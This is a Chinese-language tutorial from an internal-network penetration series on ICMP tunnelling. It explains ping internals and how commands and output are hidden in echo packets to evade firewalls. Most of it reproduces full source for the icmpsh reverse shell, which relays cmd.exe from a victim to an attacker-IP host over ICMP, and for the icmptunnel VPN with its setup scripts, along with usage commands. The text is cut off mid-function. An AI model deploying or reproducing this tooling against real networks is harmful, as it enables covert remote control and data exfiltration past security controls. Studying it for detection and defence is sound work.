内网渗透系列:内网隧道之ICMP隧道

目录

前言

最近开始研究隧道相关,如前做了个整理——内网渗透系列:内网穿透(隧道)学习,本篇专门来学习ICMP隧道

一、ICMP隧道技术

1、ICMP协议

ICMP(Internet Control Message Protocol),即Internet控制报文协议,是TCP/IP协议簇的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。

主要的几点:

  • 确认IP数据包是否成功到达目的地

  • 通知源主机发送IP数据包丢失的原因

  • ICMP是基于IP协议工作的

  • ICMP只能作用于IPV4,IPV6下,使用ICMPv6

(1)报文格式

报文格式如下:

内网渗透系列:内网隧道之ICMP隧道

其中type和code是关键:

内网渗透系列:内网隧道之ICMP隧道

(2)ping

ping 命令用来在IP 层次上调查与指定机器是否连通,调查数据包往复需要多少时间

内容:

  • Windows系统默认传输32 bytes的数据,内容是固定的abcdefghijklmnopqrstuvwabcdefghi,ping包的大小是可以改变的,但是内容依旧不变,且请求和相应内容相同
    内网渗透系列:内网隧道之ICMP隧道

  • Linux系统默认传输48 bytes的数据,头信息比较复杂,但是末尾内容是固定!”#$%&’()+,-./01234567
    内网渗透系列:内网隧道之ICMP隧道
    内网渗透系列:内网隧道之ICMP隧道

过程:ping 命令使用了两个ICMP 报文

1、向目标服务器发送回送请求

首先,向目标服务器发出回送请求(类型是8,代码是0)报文(同2)。在这个回送请求报文里,除了类型和代码字段,还被追加了标识符和序号字段。标识符和序号字段分别是16 位的字段。ping 命令在发送回送请求报文时,在这两个字段里填入任意的值。对于标识符,应用程序执行期间送出的所有报文里填入相同的值。对于序号,每送出一个报文数值就增加1。而且,回送请求的选项数据部分用来装任意数据。这个任意数据用来调整ping 的交流数据包的大小。

2、鹦鹉学舌一样返回回送回答

计算机送出的回送请求到达目标服务器后,服务器回答这一请求,向送信方发送回送请求(类型是0,代码是0)(同3)。这个ICMP 回送回答报文在IP 层来看,与被送来的回送请求报文基本上一样。不同的只是,源和目标IP 地址字段被交换了,类型字段里填入了表示回送回答的0。也就是,从送信方来看,自己送出的ICMP 报文从目标服务器那里象鹦鹉学舌那样原样返回了。

送信方的计算机可以通过收到回送回答报文,来确认目标服务器在工作着。进一步,记住发送回送请求报文的时间,与接收到回送回答报文的时间一比较,就能计算出报文一去一回往复所需要的时间(同4)。但是,收到的回送回答报文里写的只是类型和代码的话,发送方计算机将无法判断它是否是自己发出去请求的回答。因此,前面说到的标识符和序号字段就有它的意义了。将这两个值与回送回答报文中的相同字段值一比较,送行方计算机就能够简单地检测回送回答是否正确了。执行ping 命令而调查的结果没什么问题的话,就将目标服务器的IP 地址,数据大小,往复花费的时间打印到屏幕上。

内网渗透系列:内网隧道之ICMP隧道

用 ping 命令不能确定与对方连通的原因:

  • 目标服务器不存在
  • 花在数据包交流上的时间太长,ping 命令认为超时
  • 目标服务器不回答ping 命令

2、ICMP隧道

(1)原理

由于ICMP报文自身可以携带数据,而且ICMP报文是由系统内核处理的,不占用任何端口,因此具有很高的隐蔽性

通常ICMP隧道技术采用ICMP的ICMP_ECHOICMP_ECHOREPLY两种报文,把数据隐藏在ICMP数据包包头的选项域中,利用ping命令建立隐蔽通道。简单说就是,改变操作系统默认填充的Data,替换成我们自己的数据

内网渗透系列:内网隧道之ICMP隧道

进行隐蔽传输的时候,肉鸡(防火墙内部)运行并接受外部攻击端的ICMP_ECHO数据包,攻击端把需要执行的命令隐藏在ICMP_ECHO数据包中,肉鸡接收到该数据包,解出其中隐藏的命令,并在防火墙内部主机上执行,再把执行结果隐藏在ICMP_ECHOREPLY数据包中,发送给外部攻击端

内网渗透系列:内网隧道之ICMP隧道
简单的说就是,利用ICMP的请求和应答数据包,伪造Ping命令的数据包形式,实现绕过防火墙和入侵检测系统的阻拦

(2)优缺点

优点:

  • 防火墙对ICMP_ECHO数据包是放行的,并且内部主机不会检查ICMP数据包所携带的数据内容,隐蔽性高

缺点:

  • ICMP隐蔽传输是无连接的,传输不是很稳定,而且隐蔽通道的带宽很低

  • 利用隧道传输时,需要接触更低层次的协议 ,这就需要高级用户权限

二、ICMP隧道工具

1、icmpsh

github:https://github.com/bdamele/icmpsh

最后更新于2013年,受控端(客户端)使用C语言实现,只能运行在目标Windows机器上;而主控端(服务端)由于已经有C和Perl实现的版本,而且之后又移植到了Python上,因此可以运行在任何平台的攻击者机器中。能通过ICMP协议反弹cmd,不用管理员权限,但反弹回来的cmd极不稳定,不推荐使用

(1)源码

受控端C语言

/*
 *   icmpsh - simple icmp command shell
 *   Copyright (c) 2010, Nico Leidecker <nico@leidecker.info>
 *   This program is free software: you can redistribute it and/or modify
 *   it under the terms of the GNU General Public License as published by
 *   the Free Software Foundation, either version 3 of the License, or
 *   (at your option) any later version.
 *
 *    This program is distributed in the hope that it will be useful,
 *    but WITHOUT ANY WARRANTY; without even the implied warranty of
 *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *    GNU General Public License for more details.
 *
 *    You should have received a copy of the GNU General Public License
 *    along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */


#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>
#include <windows.h>
#include <winsock2.h>
#include <iphlpapi.h>

#define ICMP_HEADERS_SIZE	(sizeof(ICMP_ECHO_REPLY) + 8)

#define STATUS_OK					0
#define STATUS_SINGLE				1
#define STATUS_PROCESS_NOT_CREATED	2

#define TRANSFER_SUCCESS			1
#define TRANSFER_FAILURE			0

#define DEFAULT_TIMEOUT			    3000
#define DEFAULT_DELAY			    200
#define DEFAULT_MAX_BLANKS	   	    10
#define DEFAULT_MAX_DATA_SIZE	    64

FARPROC icmp_create, icmp_send, to_ip;

int verbose = 0;

int spawn_shell(PROCESS_INFORMATION *pi, HANDLE *out_read, HANDLE *in_write)
{
	SECURITY_ATTRIBUTES sattr;
	STARTUPINFOA si;
	HANDLE in_read, out_write;

	memset(&si, 0x00, sizeof(SECURITY_ATTRIBUTES));
	memset(pi, 0x00, sizeof(PROCESS_INFORMATION));
    
	// create communication pipes  
	memset(&sattr, 0x00, sizeof(SECURITY_ATTRIBUTES));
	sattr.nLength = sizeof(SECURITY_ATTRIBUTES); 
	sattr.bInheritHandle = TRUE; 
	sattr.lpSecurityDescriptor = NULL; 

	if (!CreatePipe(out_read, &out_write, &sattr, 0)) {
		return STATUS_PROCESS_NOT_CREATED;
	}
	if (!SetHandleInformation(*out_read, HANDLE_FLAG_INHERIT, 0)) {
		return STATUS_PROCESS_NOT_CREATED;
	}

	if (!CreatePipe(&in_read, in_write, &sattr, 0)) {
		return STATUS_PROCESS_NOT_CREATED;
	}
	if (!SetHandleInformation(*in_write, HANDLE_FLAG_INHERIT, 0)) {
		return STATUS_PROCESS_NOT_CREATED;
	}

	// spawn process
	memset(&si, 0x00, sizeof(STARTUPINFO));
	si.cb = sizeof(STARTUPINFO); 
	si.hStdError = out_write;
	si.hStdOutput = out_write;
	si.hStdInput = in_read;
	si.dwFlags |= STARTF_USESTDHANDLES;

	if (!CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA) &si, pi)) {
		return STATUS_PROCESS_NOT_CREATED;
	}

	CloseHandle(out_write);
	CloseHandle(in_read);

	return STATUS_OK;
}

void usage(char *path)
{
	printf("%s [options] -t target\n", path);
	printf("options:\n");
	printf("  -t host            host ip address to send ping requests to\n");
	printf("  -r                 send a single test icmp request and then quit\n");
	printf("  -d milliseconds    delay between requests in milliseconds (default is %u)\n", DEFAULT_DELAY);
	printf("  -o milliseconds    timeout in milliseconds\n");
	printf("  -h                 this screen\n");
	printf("  -b num             maximal number of blanks (unanswered icmp requests)\n");
    printf("                     before quitting\n");
	printf("  -s bytes           maximal data buffer size in bytes (default is 64 bytes)\n\n", DEFAULT_MAX_DATA_SIZE);
	printf("In order to improve the speed, lower the delay (-d) between requests or\n");
    printf("increase the size (-s) of the data buffer\n");
}

void create_icmp_channel(HANDLE *icmp_chan)
{
	// create icmp file
	*icmp_chan = (HANDLE) icmp_create();
}

int transfer_icmp(HANDLE icmp_chan, unsigned int target, char *out_buf, unsigned int out_buf_size, char *in_buf, unsigned int *in_buf_size, unsigned int max_in_data_size, unsigned int timeout)
{
	int rs;
	char *temp_in_buf;
	int nbytes;

	PICMP_ECHO_REPLY echo_reply;

	temp_in_buf = (char *) malloc(max_in_data_size + ICMP_HEADERS_SIZE);
	if (!temp_in_buf) {
		return TRANSFER_FAILURE;
	}

	// send data to remote host
	rs = icmp_send(
			icmp_chan,
			target,
			out_buf,
			out_buf_size,
			NULL,
			temp_in_buf,
			max_in_data_size + ICMP_HEADERS_SIZE,
			timeout);

		// check received data
		if (rs > 0) {
			echo_reply = (PICMP_ECHO_REPLY) temp_in_buf;
			if (echo_reply->DataSize > max_in_data_size) {
				nbytes = max_in_data_size;
			} else {
				nbytes = echo_reply->DataSize;
			}
			memcpy(in_buf, echo_reply->Data, nbytes);
			*in_buf_size = nbytes;

			free(temp_in_buf);
			return TRANSFER_SUCCESS;
		}

		free(temp_in_buf);

    return TRANSFER_FAILURE;
}

int load_deps()
{
	HMODULE lib;
	
	lib = LoadLibraryA("ws2_32.dll");
	if (lib != NULL) {
        to_ip = GetProcAddress(lib, "inet_addr");
        if (!to_ip) {   
            return 0;
        }
    }

	lib = LoadLibraryA("iphlpapi.dll");
	if (lib != NULL) {
		icmp_create = GetProcAddress(lib, "IcmpCreateFile");
		icmp_send = GetProcAddress(lib, "IcmpSendEcho");
		if (icmp_create && icmp_send) {
			return 1;
		}
	} 

	lib = LoadLibraryA("ICMP.DLL");
	if (lib != NULL) {
		icmp_create = GetProcAddress(lib, "IcmpCreateFile");
		icmp_send = GetProcAddress(lib, "IcmpSendEcho");
		if (icmp_create && icmp_send) {
			return 1;
		}
	}
	
	printf("failed to load functions (%u)", GetLastError());

	return 0;
}
int main(int argc, char **argv)
{
	int opt;
	char *target;
	unsigned int delay, timeout;
	unsigned int ip_addr;
	HANDLE pipe_read, pipe_write;
	HANDLE icmp_chan;
	unsigned char *in_buf, *out_buf;
	unsigned int in_buf_size, out_buf_size;
	DWORD rs;
	int blanks, max_blanks;
	PROCESS_INFORMATION pi;
	int status;
	unsigned int max_data_size;
	struct hostent *he;


	// set defaults
	target = 0;
	timeout = DEFAULT_TIMEOUT;
	delay = DEFAULT_DELAY;
	max_blanks = DEFAULT_MAX_BLANKS;
	max_data_size = DEFAULT_MAX_DATA_SIZE;

	status = STATUS_OK;
	if (!load_deps()) {
		printf("failed to load ICMP library\n");
		return -1;
	}

	// parse command line options
	for (opt = 1; opt < argc; opt++) {
		if (argv[opt][0] == '-') {
			switch(argv[opt][1]) {
				case 'h':
				    usage(*argv);
					return 0;
				case 't':
					if (opt + 1 < argc) {
						target = argv[opt + 1];
					}
					break;
				case 'd':
					if (opt + 1 < argc) {
						delay = atol(argv[opt + 1]);
					}
					break;
				case 'o':
					if (opt + 1 < argc) {
						timeout = atol(argv[opt + 1]);
					}
					break;
				case 'r':
					status = STATUS_SINGLE;
					break;
				case 'b':
					if (opt + 1 < argc) {
						max_blanks = atol(argv[opt + 1]);
					}
					break;
				case 's':
					if (opt + 1 < argc) {
						max_data_size = atol(argv[opt + 1]);
					}
					break;
				default:
					printf("unrecognized option -%c\n", argv[1][0]);
					usage(*argv);
					return -1;
			}
		}
	}

	if (!target) {
		printf("you need to specify a host with -t. Try -h for more options\n");
		return -1;
	}
	ip_addr = to_ip(target);

	// don't spawn a shell if we're only sending a single test request
	if (status != STATUS_SINGLE) {
		status = spawn_shell(&pi, &pipe_read, &pipe_write);
	}

	// create icmp channel
	create_icmp_channel(&icmp_chan);
	if (icmp_chan == INVALID_HANDLE_VALUE) {
	    printf("unable to create ICMP file: %u\n", GetLastError());
	    return -1;
	}

	// allocate transfer buffers
	in_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);
	out_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);
	if (!in_buf || !out_buf) {
		printf("failed to allocate memory for transfer buffers\n");
		return -1;
	}
	memset(in_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);
	memset(out_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);

	// sending/receiving loop
	blanks = 0;
	do {

		switch(status) {
			case STATUS_SINGLE:
				// reply with a static string
				out_buf_size = sprintf(out_buf, "Test1234\n");
				break;
			case STATUS_PROCESS_NOT_CREATED:
				// reply with error message
				out_buf_size = sprintf(out_buf, "Process was not created\n");
				break;
			default:
				// read data from process via pipe
				out_buf_size = 0;
				if (PeekNamedPipe(pipe_read, NULL, 0, NULL, &out_buf_size, NULL)) {
					if (out_buf_size > 0) {
						out_buf_size = 0;
						rs = ReadFile(pipe_read, out_buf, max_data_size, &out_buf_size, NULL);
						if (!rs && GetLastError() != ERROR_IO_PENDING) {
							out_buf_size = sprintf(out_buf, "Error: ReadFile failed with %i\n", GetLastError());
						} 
					}
				} else {
					out_buf_size = sprintf(out_buf, "Error: PeekNamedPipe failed with %i\n", GetLastError());
				}
				break;
		}

		// send request/receive response
		if (transfer_icmp(icmp_chan, ip_addr, out_buf, out_buf_size, in_buf, &in_buf_size,  max_data_size, timeout) == TRANSFER_SUCCESS) {
			if (status == STATUS_OK) {
				// write data from response back into pipe
				WriteFile(pipe_write, in_buf, in_buf_size, &rs, 0);
			}
			blanks = 0;
		} else {
			// no reply received or error occured
			blanks++;
		}

		// wait between requests
		Sleep(delay);

	} while (status == STATUS_OK && blanks < max_blanks);

	if (status == STATUS_OK) {
		TerminateProcess(pi.hProcess, 0);
	}

    return 0;
}

主控端
C语言

/*
 *   icmpsh - simple icmp command shell
 *   Copyright (c) 2010, Nico Leidecker <nico@leidecker.info>
 *   This program is free software: you can redistribute it and/or modify
 *   it under the terms of the GNU General Public License as published by
 *   the Free Software Foundation, either version 3 of the License, or
 *   (at your option) any later version.
 *
 *    This program is distributed in the hope that it will be useful,
 *    but WITHOUT ANY WARRANTY; without even the implied warranty of
 *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *    GNU General Public License for more details.
 *
 *    You should have received a copy of the GNU General Public License
 *    along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <netinet/ip_icmp.h>
#include <netinet/ip.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>

#define IN_BUF_SIZE   1024
#define OUT_BUF_SIZE  64

// calculate checksum
unsigned short checksum(unsigned short *ptr, int nbytes)
{
    unsigned long sum;
    unsigned short oddbyte, rs;

    sum = 0;
    while(nbytes > 1) {
        sum += *ptr++;
        nbytes -= 2;
    }

    if(nbytes == 1) {
        oddbyte = 0;
        *((unsigned char *) &oddbyte) = *(u_char *)ptr;
        sum += oddbyte;
    }

    sum  = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    rs = ~sum;
    return rs;
}

int main(int argc, char **argv)
{
    int sockfd;
    int flags;
    char in_buf[IN_BUF_SIZE];
    char out_buf[OUT_BUF_SIZE];
    unsigned int out_size;
    int nbytes;
    struct iphdr *ip;
    struct icmphdr *icmp;
    char *data;
    struct sockaddr_in addr;


    printf("icmpsh - master\n");
    
    // create raw ICMP socket
    sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP);
    if (sockfd == -1) {
       perror("socket");
       return -1;
    }

    // set stdin to non-blocking
    flags = fcntl(0, F_GETFL, 0);
    flags |= O_NONBLOCK;
    fcntl(0, F_SETFL, flags);

    printf("running...\n");
    while(1) {

        // read data from socket
        memset(in_buf, 0x00, IN_BUF_SIZE);
        nbytes = read(sockfd, in_buf, IN_BUF_SIZE - 1);
        if (nbytes > 0) {
            // get ip and icmp header and data part
            ip = (struct iphdr *) in_buf;
            if (nbytes > sizeof(struct iphdr)) {
                nbytes -= sizeof(struct iphdr);
                icmp = (struct icmphdr *) (ip + 1);
                if (nbytes > sizeof(struct icmphdr)) {
                    nbytes -= sizeof(struct icmphdr);
                    data = (char *) (icmp + 1);
                    data[nbytes] = '\0';
                    printf("%s", data);
                    fflush(stdout);
                }
                
                // reuse headers
                icmp->type = 0;
                addr.sin_family = AF_INET;
                addr.sin_addr.s_addr = ip->saddr;
        
                // read data from stdin
                nbytes = read(0, out_buf, OUT_BUF_SIZE);
                if (nbytes > -1) {
                    memcpy((char *) (icmp + 1), out_buf, nbytes);
                    out_size = nbytes;
                } else {
                    out_size = 0;
                }

                icmp->checksum = 0x00;
                icmp->checksum = checksum((unsigned short *) icmp, sizeof(struct icmphdr) + out_size);

                // send reply
                nbytes = sendto(sockfd, icmp, sizeof(struct icmphdr) + out_size, 0, (struct sockaddr *) &addr, sizeof(addr));
                if (nbytes == -1) {
                    perror("sendto");
                    return -1;
                }        
            }
        }
    }

    return 0;
}

Python版

#!/usr/bin/env python
#
#  icmpsh - simple icmp command shell (port of icmpsh-m.pl written in
#  Perl by Nico Leidecker <nico@leidecker.info>)
#
#  Copyright (c) 2010, Bernardo Damele A. G. <bernardo.damele@gmail.com>
#
#
#  This program is free software: you can redistribute it and/or modify
#  it under the terms of the GNU General Public License as published by
#  the Free Software Foundation, either version 3 of the License, or
#  (at your option) any later version.
#
#  This program is distributed in the hope that it will be useful,
#  but WITHOUT ANY WARRANTY; without even the implied warranty of
#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#  GNU General Public License for more details.
#
#  You should have received a copy of the GNU General Public License
#  along with this program.  If not, see <http://www.gnu.org/licenses/>.

import os
import select
import socket
import subprocess
import sys

def setNonBlocking(fd):
    """
    Make a file descriptor non-blocking
    """

    import fcntl

    flags = fcntl.fcntl(fd, fcntl.F_GETFL)
    flags = flags | os.O_NONBLOCK
    fcntl.fcntl(fd, fcntl.F_SETFL, flags)

def main(src, dst):
    if subprocess.mswindows:
        sys.stderr.write('icmpsh master can only run on Posix systems\n')
        sys.exit(255)

    try:
        from impacket import ImpactDecoder
        from impacket import ImpactPacket
    except ImportError:
        sys.stderr.write('You need to install Python Impacket library first\n')
        sys.exit(255)

    # Make standard input a non-blocking file
    stdin_fd = sys.stdin.fileno()
    setNonBlocking(stdin_fd)

    # Open one socket for ICMP protocol
    # A special option is set on the socket so that IP headers are included
    # with the returned data
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
    except socket.error, e:
        sys.stderr.write('You need to run icmpsh master with administrator privileges\n')
        sys.exit(1)

    sock.setblocking(0)
    sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

    # Create a new IP packet and set its source and destination addresses
    ip = ImpactPacket.IP()
    ip.set_ip_src(src)
    ip.set_ip_dst(dst)

    # Create a new ICMP packet of type ECHO REPLY
    icmp = ImpactPacket.ICMP()
    icmp.set_icmp_type(icmp.ICMP_ECHOREPLY)

    # Instantiate an IP packets decoder
    decoder = ImpactDecoder.IPDecoder()

    while 1:
        cmd = ''

        # Wait for incoming replies
        if sock in select.select([ sock ], [], [])[0]:
            buff = sock.recv(4096)

            if 0 == len(buff):
                # Socket remotely closed
                sock.close()
                sys.exit(0)

            # Packet received; decode and display it
            ippacket = decoder.decode(buff)
            icmppacket = ippacket.child()

            # If the packet matches, report it to the user
            if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type():
                # Get identifier and sequence number
                ident = icmppacket.get_icmp_id()
                seq_id = icmppacket.get_icmp_seq()
                data = icmppacket.get_data_as_string()

                if len(data) > 0:
                    sys.stdout.write(data)

                # Parse command from standard input
                try:
                    cmd = sys.stdin.readline()
                except:
                    pass

                if cmd == 'exit\n':
                    return

                # Set sequence number and identifier
                icmp.set_icmp_id(ident)
                icmp.set_icmp_seq(seq_id)

                # Include the command as data inside the ICMP packet
                icmp.contains(ImpactPacket.Data(cmd))

                # Calculate its checksum
                icmp.set_icmp_cksum(0)
                icmp.auto_checksum = 1

                # Have the IP packet contain the ICMP packet (along with its payload)
                ip.contains(icmp)

                # Send it to the target host
                sock.sendto(ip.get_packet(), (dst, 0))

if __name__ == '__main__':
    if len(sys.argv) < 3:
        msg = 'missing mandatory options. Execute as root:\n'
        msg += './icmpsh-m.py <source IP address> <destination IP address>\n'
        sys.stderr.write(msg)
        sys.exit(1)

    main(sys.argv[1], sys.argv[2])

(2)用法

  • 安装
    git clone https://github.com/inquisb/icmpsh.git
    
  • 关闭ping回复,防止内核自己对ping包进行响应。
    sysctl -w net.ipv4.icmp_echo_ignore_all=1
    
  • 攻击端执行
    python icmpsh_m.py <attacker's-IP> <target-IP>
    
  • 服务端执行
    icmpsh.exe -t <attacker's-IP>
    

2、icmptunnel

github:https://github.com/DhavalKapil/icmptunnel

最后更新于2017年,创建虚拟网卡通过ICMP协议传输网卡流量,基于ICMP隧道的vpn,需要root权限,动静极大,不推荐使用

内网渗透系列:内网隧道之ICMP隧道

(1)源码

icmp.h

/**
 *  icmp.h
 */
 
#ifndef icmp_guard
#define icmp_guard

// Maximum transmission unit
#define MTU 1472

struct icmp_packet
{
  char src_addr[100];
  char dest_addr[100];
  int type;
  char *payload;
  int payload_size;
};

/**
 * Function to set packet type as ECHO
 */
void set_echo_type(struct icmp_packet *packet);

/**
 * Function to set packet type as REPLY
 */
void set_reply_type(struct icmp_packet *packet);

/**
 * Function to open a socket for icmp
 */
int open_icmp_socket();

/**
 * Function to bind the socket to INADDR_ANY
 */
void bind_icmp_socket(int sock_fd);

/**
 * Function to send ICMP Packet
 */
void send_icmp_packet(int sock_fd, struct icmp_packet *packet_details);

/**
 * Function to receive ICMP Packet
 */
void receive_icmp_packet(int sock_fd, struct icmp_packet *packet_details);

/**
 * Function to close the icmp socket
 */
void close_icmp_socket(int sock_fd);

#endif

icmp.c

/**
 *  icmp.c
 */

#include "icmp.h"
#include <arpa/inet.h>
#include <stdint.h>
#include <string.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

/**
 * Function to calculate checksum
 */
uint16_t in_cksum(uint16_t *addr, int len);

/**
 * Function to fill up common headers for IP and ICMP
 */
void prepare_headers(struct iphdr *ip, struct icmphdr *icmp);

/**
 * Function to set packet type as ECHO
 */
void set_echo_type(struct icmp_packet *packet)
{
  packet->type = ICMP_ECHO;
}

/**
 * Function to set packet type as REPLY
 */
void set_reply_type(struct icmp_packet *packet)
{
  packet->type = ICMP_ECHOREPLY;
}

/**
 * Function to open a socket for icmp
 */
int open_icmp_socket()
{
  int sock_fd, on = 1;

  sock_fd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);

  if (sock_fd == -1) {
    perror("Unable to open ICMP socket\n");
    exit(EXIT_FAILURE);
  }
  
  // Providing IP Headers
  if (setsockopt(sock_fd, IPPROTO_IP, IP_HDRINCL, (const char *)&on, sizeof(on)) == -1) {
    perror("Unable to set IP_HDRINCL socket option\n");
    exit(EXIT_FAILURE);
  }

  return sock_fd;
}

/**
 * Function to bind the socket to INADDR_ANY
 */
void bind_icmp_socket(int sock_fd)
{
  struct sockaddr_in servaddr;

  // Initializing servaddr to bind to all interfaces
  memset(&servaddr, 0, sizeof(struct sockaddr_in));
  servaddr.sin_family = AF_INET;
  servaddr.sin_addr.s_addr = htonl(INADDR_ANY);

  // binding the socket
  if (bind(sock_fd, (struct sockaddr *)&servaddr, sizeof(struct sockaddr_in)) == -1) {
    perror("Unable to bind\n");
    exit(EXIT_FAILURE);
  }
}

/**
 * Function to send ICMP Packet
 */
void send_icmp_packet(int sock_fd, struct icmp_packet *packet_details)
{
  // Source and destination IPs
  struct in_addr src_addr;
  struct in_addr dest_addr;

  struct iphdr *ip;
  struct icmphdr *icmp;
  char *icmp_payload;

  int packet_size;
  char *packet;

  struct sockaddr_in servaddr;

  inet_pton(AF_INET, packet_details->src_addr, &src_addr);
  inet_pton(AF_INET, packet_details->dest_addr, &dest_addr);

  packet_size = sizeof(struct iphdr) + sizeof(struct icmphdr) + packet_details->payload_size;
  packet = calloc(packet_size, sizeof(uint8_t));
  if (packet == NULL) {
    perror("No memory available\n");
    close_icmp_socket(sock_fd);
    exit(EXIT_FAILURE);
  }

  // Initializing header and payload pointers
  ip = (struct iphdr *)packet;
  icmp = (struct icmphdr *)(packet + sizeof(struct iphdr));
  icmp_payload = (char *)(packet + sizeof(struct iphdr) + sizeof(struct icmphdr));

  prepare_headers(ip, icmp);

  ip->tot_len = htons(packet_size);
  ip->saddr = src_addr.s_addr;
  ip->daddr = dest_addr.s_addr;

  memcpy(icmp_payload, packet_details->payload, packet_details->payload_size);

  icmp->type = packet_details->type;
  icmp->checksum = 0;
  icmp->checksum = in_cksum((unsigned short *)icmp, sizeof(struct icmphdr) + packet_details->payload_size);

  memset(&servaddr, 0, sizeof(struct sockaddr_in));
  servaddr.sin_family = AF_INET;
  servaddr.sin_addr.s_addr = dest_addr.s_addr;

  // Sending the packet
  sendto(sock_fd, packet, packet_size, 0, (struct sockaddr *)&servaddr, sizeof(struct sockaddr_in));

  free(packet);
}

/**
 * Function to receive an ICMP packet
 */
void receive_icmp_packet(int sock_fd, struct icmp_packet *packet_details)
{
  struct sockaddr_in src_addr;
  //struct sockaddr_in dest_addr;

  struct iphdr *ip;
  struct icmphdr *icmp;
  char *icmp_payload;

  int packet_size;
  char *packet;

  socklen_t src_addr_size;
  int enc_MTU; //encapsulated MTU

  enc_MTU = MTU + sizeof(struct iphdr) + sizeof(struct icmphdr);

  packet = calloc(enc_MTU, sizeof(uint8_t));
  if (packet == NULL) {
    perror("No memory available\n");
    close_icmp_socket(sock_fd);
    exit(-1);
  }

  src_addr_size = sizeof(struct sockaddr_in);
  
  // Receiving packet
  packet_size = recvfrom(sock_fd, packet, enc_MTU, 0, (struct sockaddr *)&(src_addr), &src_addr_size);

  ip = (struct iphdr *)packet;
  icmp = (struct icmphdr *)(packet + sizeof(struct iphdr));
  icmp_payload = (char *)(packet + sizeof(struct iphdr) + sizeof(struct icmphdr));

  // Filling up packet_details
  inet_ntop(AF_INET, &(ip->saddr), packet_details->src_addr, INET_ADDRSTRLEN);
  inet_ntop(AF_INET, &(ip->daddr), packet_details->dest_addr, INET_ADDRSTRLEN);
  packet_details->type = icmp->type;
  packet_details->payload_size = packet_size - sizeof(struct iphdr) - sizeof(struct icmphdr);
  packet_details->payload = calloc(packet_details->payload_size, sizeof(uint8_t));
  if (packet_details->payload == NULL) {
    perror("No memory available\n");
    close_icmp_socket(sock_fd);
    exit(-1);
  }

  memcpy(packet_details->payload, icmp_payload, packet_details->payload_size);

  free(packet);
}

/**
 * Function to close the icmp socket
 */
void close_icmp_socket(int sock_fd)
{
  close(sock_fd);
}

/**
 * Function to calculate checksum
 */
uint16_t in_cksum(uint16_t *addr, int len)
{
  int nleft = len;
  uint32_t sum = 0;
  uint16_t *w = addr;
  uint16_t answer = 0;

  // Adding 16 bits sequentially in sum
  while (nleft > 1) {
    sum += *w;
    nleft -= 2;
    w++;
  }

  // If an odd byte is left
  if (nleft == 1) {
    *(unsigned char *) (&answer) = *(unsigned char *) w;
    sum += answer;
  }

  sum = (sum >> 16) + (sum & 0xffff);
  sum += (sum >> 16);
  answer = ~sum;

  return answer;
}

/**
 * Function to fill up common headers for IP and ICMP
 */
void prepare_headers(struct iphdr *ip, struct icmphdr *icmp)
{
  ip->version = 4;
  ip->ihl = 5;
  ip->tos = 0;
  ip->id = rand();
  ip->frag_off = 0;
  ip->ttl = 255;
  ip->protocol = IPPROTO_ICMP;

  icmp->code = 0;
  icmp->un.echo.sequence = rand();
  icmp->un.echo.id = rand();
  icmp->checksum = 0;   
}

tunnel.h

/**
 *  tunnel.h
 */

#ifndef tunnel_gaurd
#define tunnel_gaurd

#define SERVER_SCRIPT "server.sh"
#define CLIENT_SCRIPT "client.sh"

/**
 * Function to allocate a tunnel
 */
int tun_alloc(char *dev, int flags);

/**
 * Function to read from a tunnel
 */
int tun_read(int tun_fd, char *buffer, int length);

/**
 * Function to write to a tunnel
 */
int tun_write(int tun_fd, char *buffer, int length);

/**
 * Function to run the tunnel
 */
void run_tunnel(char *dest, int server);

#endif

client.sh

#!/bin/sh

# Assigining an IP address and mask to 'tun0' interface
ifconfig tun0 mtu 1472 up 10.0.1.2 netmask 255.255.255.0

# Modifying IP routing tables
route del default
# 'server' is the IP address of the proxy server
# 'gateway' and 'interface' can be obtained by usint the command: 'route -n'
route add -host <server> gw <gateway> dev <interface>
route add default gw 10.0.1.1 tun0

server.sh

#!/bin/sh

# Assigining an IP address and mask to 'tun0' interface
ifconfig tun0 mtu 1472 up 10.0.1.1 netmask 255.255.255.0 

# Preventing the kernel to reply to any ICMP pings
echo 1 | dd of=/proc/sys/net/ipv4/icmp_echo_ignore_all

# Enabling IP forwarding
echo 1 | dd of=/proc/sys/net/ipv4/ip_forward

# Adding an iptables rule to masquerade for 10.0.0.0/8
iptables -t nat -A POSTROUTING -s 10.0.0.0/8 -j MASQUERADE

tunnel.c

/**
 *  tunnel.c
 */

#include "icmp.h"
#include "tunnel.h"

#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/if.h>
#include <linux/if_tun.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <netdb.h>
#include <pwd.h>
#include <pthread.h>
#include <arpa/inet.h>
#include <unistd.h>


#define DEFAULT_ROUTE   "0.0.0.0"

/**
 * Function to allocate a tunnel
 */
int tun_alloc(char *dev, int flags)
{
  struct ifreq ifr;
  int tun_fd, err;
  char *clonedev = "/dev/net/tun";
